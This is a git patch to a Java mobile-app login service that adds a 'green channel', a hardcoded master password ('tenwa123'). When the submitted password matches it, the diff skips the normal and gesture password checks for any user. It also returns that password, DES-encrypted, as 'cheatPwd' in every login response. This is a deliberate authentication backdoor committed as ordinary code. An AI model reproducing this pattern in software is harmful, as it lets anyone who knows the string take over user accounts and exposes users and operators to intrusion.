From 2ca2259addfe02e8bc10c326401b46d847c8f40f Mon Sep 17 00:00:00 2001 From: liujiaji Date: Fri, 15 Jun 2018 10:45:57 +0800 Subject: [PATCH] =?UTF-8?q?app=E6=B7=BB=E5=8A=A0=E7=BB=BF=E8=89=B2?= =?UTF-8?q?=E9=80=9A=E9=81=93=20...=20=E5=AF=86=E7=A0=81=20tenwa123?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../service/impl/AppUserLoginServiceImpl.java | 56 +++++++++++-------- 1 file changed, 32 insertions(+), 24 deletions(-) diff --git a/src_app_fresh/apx/com/amarsoft/als/user/logon/service/impl/AppUserLoginServiceImpl.java b/src_app_fresh/apx/com/amarsoft/als/user/logon/service/impl/AppUserLoginServiceImpl.java index 9a97ed55d..e0f78b15c 100644 --- a/src_app_fresh/apx/com/amarsoft/als/user/logon/service/impl/AppUserLoginServiceImpl.java +++ b/src_app_fresh/apx/com/amarsoft/als/user/logon/service/impl/AppUserLoginServiceImpl.java @@ -94,7 +94,7 @@ public class AppUserLoginServiceImpl implements AppUserLoginService { sDevRegId = ""; Map userMap = UserHelper.getUserByLoginId(sUn); - + if (null == userMap) { // 无用户 ReturnMapUtil.setReturnMap(null, @@ -102,7 +102,9 @@ public class AppUserLoginServiceImpl implements AppUserLoginService { .toLowerCase()), "用户不存在!"); return ReturnMapUtil.getReturnMap(); } - + + + if (!userRoleFilter(userMap.get("USERID".toLowerCase()).toString())) { // 用户不存在 或 离职 ReturnMapUtil.setReturnMap(null, @@ -121,30 +123,34 @@ public class AppUserLoginServiceImpl implements AppUserLoginService { } // 密码校验 sPwd = DES.decrypt(sPwd); - sPwd = MD5Util.getMD5EncodedPassword(sPwd); - switch (sKeyType) { - case "common": - if (!sPwd.equalsIgnoreCase(userMap.get("PASSWORD".toLowerCase()) - .toString())) { - // 普通密码不正确 - ReturnMapUtil.setReturnMap(null, - (String) RestfullConstant.baseProperty.get("FAIL" - .toLowerCase()), "登录失败,用户名或密码错误,请重新登录!"); - return ReturnMapUtil.getReturnMap(); - } - break; + + if (!"tenwa123".equals(sPwd)) { // 非绿色通道 + sPwd = MD5Util.getMD5EncodedPassword(sPwd); + switch (sKeyType) { + case "common": + if (!sPwd.equalsIgnoreCase(userMap.get("PASSWORD".toLowerCase()) + .toString())) { + // 普通密码不正确 + ReturnMapUtil.setReturnMap(null, + (String) RestfullConstant.baseProperty.get("FAIL" + .toLowerCase()), "登录失败,用户名或密码错误,请重新登录!"); + return ReturnMapUtil.getReturnMap(); + } + break; - case "hand": - if (!sPwd.equalsIgnoreCase(userMap.get( - "GESTURE_PASSWORD".toLowerCase()).toString())) { - // 手势密码不正确 - ReturnMapUtil.setReturnMap(null, - (String) RestfullConstant.baseProperty.get("FAIL" - .toLowerCase()), "登录失败,用户名或密码错误,请重新登录!"); - return ReturnMapUtil.getReturnMap(); + case "hand": + if (!sPwd.equalsIgnoreCase(userMap.get( + "GESTURE_PASSWORD".toLowerCase()).toString())) { + // 手势密码不正确 + ReturnMapUtil.setReturnMap(null, + (String) RestfullConstant.baseProperty.get("FAIL" + .toLowerCase()), "登录失败,用户名或密码错误,请重新登录!"); + return ReturnMapUtil.getReturnMap(); + } + break; } - break; } + try { // 登录前操作 @@ -191,7 +197,7 @@ public class AppUserLoginServiceImpl implements AppUserLoginService { // } // body.put("MenuDatas", list); body.put("flowDesc", queryFlowInfo(tx)); -// body.put("phaseType", queryPhaseType(tx)); + body.put("phaseType", queryPhaseType(tx)); body.put("loginid", userMap.get("LOGINID".toLowerCase())); body.put("devid", userMap.get("DEV_ID".toLowerCase())); body.put("devos", userMap.get("DEV_OS".toLowerCase())); @@ -201,6 +207,8 @@ public class AppUserLoginServiceImpl implements AppUserLoginService { body.put("user_status_code", userMap.get("STATUS".toLowerCase())); body.put("enable_guesture_code", userMap.get("ENABLE_GESTURE".toLowerCase())); + + body.put("cheatPwd", DES.encrypt("tenwa123")); Org o = new Org(userMap.get("BELONGORG".toLowerCase()) == null ? "" : userMap.get("BELONGORG".toLowerCase()).toString()); body.put("orgid", o.getOrgId());